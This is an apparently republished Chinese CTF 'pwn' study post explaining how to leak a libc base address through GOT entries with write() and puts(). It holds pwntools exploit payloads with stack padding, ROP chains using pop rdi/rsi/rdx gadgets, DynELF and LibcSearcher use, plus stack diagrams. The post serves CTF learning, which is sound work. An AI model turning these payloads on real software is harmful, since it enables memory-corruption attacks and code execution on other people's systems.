【PWN学习】如何获取libc基址

【PWN学习】如何获取libc基址,第1张

【PWN学习】如何获取libc基址

目录
    • 使用Write()泄露函数实际地址
    • 使用Puts()泄露函数实际地址
    • 为什么利用`write()`和`puts()`函数来获取libc基址时,要泄露got表中函数的地址?
    • 如何获取函数在libc中的偏移量呢?
    • 为什么write和putS在泄露基址的时候是这样构造payload?
      • 32位Linux
      • 64位Linux

在解pwn题的时候,如果程序中没有可以获得shell的函数,通常会通过got表中调用函数来获取libc基址,然后通过libc获取要用的system函数和binsh字符。

使用Write()泄露函数实际地址
  • 头文件: #include

  • 定义函数:ssize_t write (int fd, const void * buf, size_t count);

  • **函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动.**write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘’, ‘n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。

    • 第一个参数fd=1:标准输出 STDOUT
  • 返回值:如果顺利write()会返回实际写入的字节数. 当有错误发生时则返回-1, 错误代码存入errno 中.

  • Payload:‘a’ * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count

    from pwn import *
    elf = ELF('./elf_file')
    def leak(addr):
        payload = b''
        payload += b'a' * 0x88			 # 栈的大小
        payload += b'a' * 0x4 			 # ebp
        payload += p32(write_plt)    # write地址
        payload += p32(main_addr)    # 返回地址
        payload += p32(1)       # 第一个参数 fd
        payload += p32(addr)    # 第二个参数 buf   通常可以为write_got
        payload += p32(4)       # 第三个参数 size
        conn.sendlineafter(b'Input:n',payload)
        content = conn.recv()[:4]
        print("%#x -> %s" %(addr, binascii.b2a_hex((content or ''))))
        return content
    
    d = DynELF(leak, elf = elf)
    system_addr = d.lookup('__libc_system', 'libc')
    log.success("system:"+hex(system_addr))
    
使用Puts()泄露函数实际地址
  • 头文件: #include

  • 定义函数:int puts(const char *string);

  • 函数说明: puts()函数只能够输出字符串,以’’来确定字符串的结尾。

  • Payload:

    payload = b''
    payload += b'a' * 0x  			# 栈的大小
    payload += p64(0) 	  			# ebp
    payload += p64(pop_rdi)			# 给puts()函数赋值
    payload += p64(addr)				# leak函数的参数addr  可以为puts_got
    payload += p64(puts_plt)		# puts函数地址
    
为什么利用write()和puts()函数来获取libc基址时,要泄露got表中函数的地址?

通过学习GOT和PLT的知识,了解到当函数被调用过之后,GOT表中存放的函数地址就是函数的实际地址。而这个地址是通过以下方式确定的
函 数 的 实 际 地 址 = l i b c 基 址 + 函 数 在 l i b c 中 偏 移 量 函数的实际地址 = libc基址 + 函数在libc中偏移量 函数的实际地址=libc基址+函数在libc中偏移量
因此利用GOT泄露的函数实际地址,和函数在libc中的偏移量就可以计算出libc的基址。

如何获取函数在libc中的偏移量呢?

这里可能有两种情况,一种是libc已知,一种是libc未知。

libc已知

libc已知的情况,可以通过反编译libc获取地址。如下所示,利用radare分析libc文件,可以获取libc中write的偏移地址是0x000d43c0

[0x000187c0]> afl | grep write
0x00063880   22 406  -> 395  sym._IO_wdo_write
0x000d43c0    5 101          sym.__write

也可以通过pwntools的ELF类,加载libc文件来获取目标函数的偏移地址。

libc= ELF('./libc_32.so.6')

libc_write_offset = libc.sym['write']

libc未知

libc未知的情况下,需要确定libc的版本号。同一个版本的libc对应的函数的实际地址是一样的,因此通过收集所有libc库的实际函数的地址,就利用泄露的函数的实际地址确定libc版本,从而进一步获取libc中函数的偏移地址。

pwn中可以使用LibSearcher库

from LibcSearcher import *

...
# leak是使用write或put进行地址泄露的函数
write = leak(write_got)
libc = LibcSearcher('write', write)
libcbase = write - libc.dump('write')
为什么write和putS在泄露基址的时候是这样构造payload?

根据前面的分析,我们知道我们要泄露的是GOT表的地址,需要利用WRITE和PUTS输出数据的能力。

假设要泄露的是函数func的地址,我们需要构造write(1, func_got_addr, 4)或者puts(func_got_addr)

32位Linux

32位Linux是用栈传递参数的,如果将write(1, func_got_addr, 4)编译成汇编,大概的运行流程如下

push 4
lea rax, [func_got_addr]
push rax
push 1
call write 

我们知道栈是先进后出的,因此在写payload的时候需要将这个过程反过来,就变成了如下所示

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += write_plt地址
payload += write运行后返回地址
payload += write的第一个参数_1
payload += write的第二个参数_func_got_addr
payload += write的第三个参数_4

同样的,如果是用puts的话payload只需要传入一个参数

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += puts调用地址
payload += puts运行后返回地址
payload += puts的参数_func_got_addr
64位Linux

64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的。

lea rdi, [func_got_addr]
call puts

这里不是使用栈,因此在构造payload的时候需要按顺序构造调用链。我们需要把要泄露的地址func_got_addr放到rdi寄存器中。如何做到呢?我们先来分析学习一下puts的payload

payload = b''
payload += b'a' * 0xN  			# 栈的大小
payload += p64(0) 	  			# ebp
payload += p64(pop_rdi)			# 给puts()函数赋值
payload += p64(addr)				# 要泄露的函数的地址func_got_addr
payload += p64(puts_plt)		# puts函数地址

payload发送后,当执行到预设返回地址时,栈中的情况如下所示

sp ------- 		  | pop_rdi的地址 |
				  | func_got_addr|
				  | puts_plt地址  |

此时程序跳转到pop rdi的位置执行,

pop rdi
ret

而栈指针出栈后,将下移一步。

				  | pop_rdi的地址 |
sp -------        | func_got_addr|
				  | puts_plt地址  |

程序接下来执行pop rdi,将栈指针当前所指d出,存入rdi中。这样一来,成功将func_got_addr放入了rdi中。执行后sp继续下移一帧,指向了puts_plt地址

				  | pop_rdi的地址 |
				  | func_got_addr|
sp -------        | puts_plt地址  |

下一步,程序将执行ret。ret相当于执行了pop ip,将当前栈指针指向的内存地址的内容存入ip寄存器中。因此puts_plt的地址将被加载到指令寄存器里,等待执行。

到此为止即完成puts(func_got_addr)的调用。

从这里也可以学习到gadget的构造方式,pop reg后紧跟要放入reg中的数据,即可成功给reg赋值。

利用上面学习到的方式,下面尝试构造利用write进行泄露的payload。我们希望构成如下的调用链

mov rdx, 4
lea rsi, [func_got_addr]
mov rdi, 1
call write
payload = padding			# 填充栈
payload += p64(0)			# rbp
payload += p64(pop_rdx) + p64(0x8)
payload += p64(pop_rsi) + p64(func_got_addr)
payload += p64(pop_rdi) + p64(0x1)
payload += p64(write_plt)

当然直接找到下面三个gadget,是一种理想情况

pop rdx; ret
pop rsi; ret
pop rdi; ret

大多数情况找不到这么完美的gadget的,这是就需要使用万能gadget来构造调用链,这部分内容以后再来学习。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5650906.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存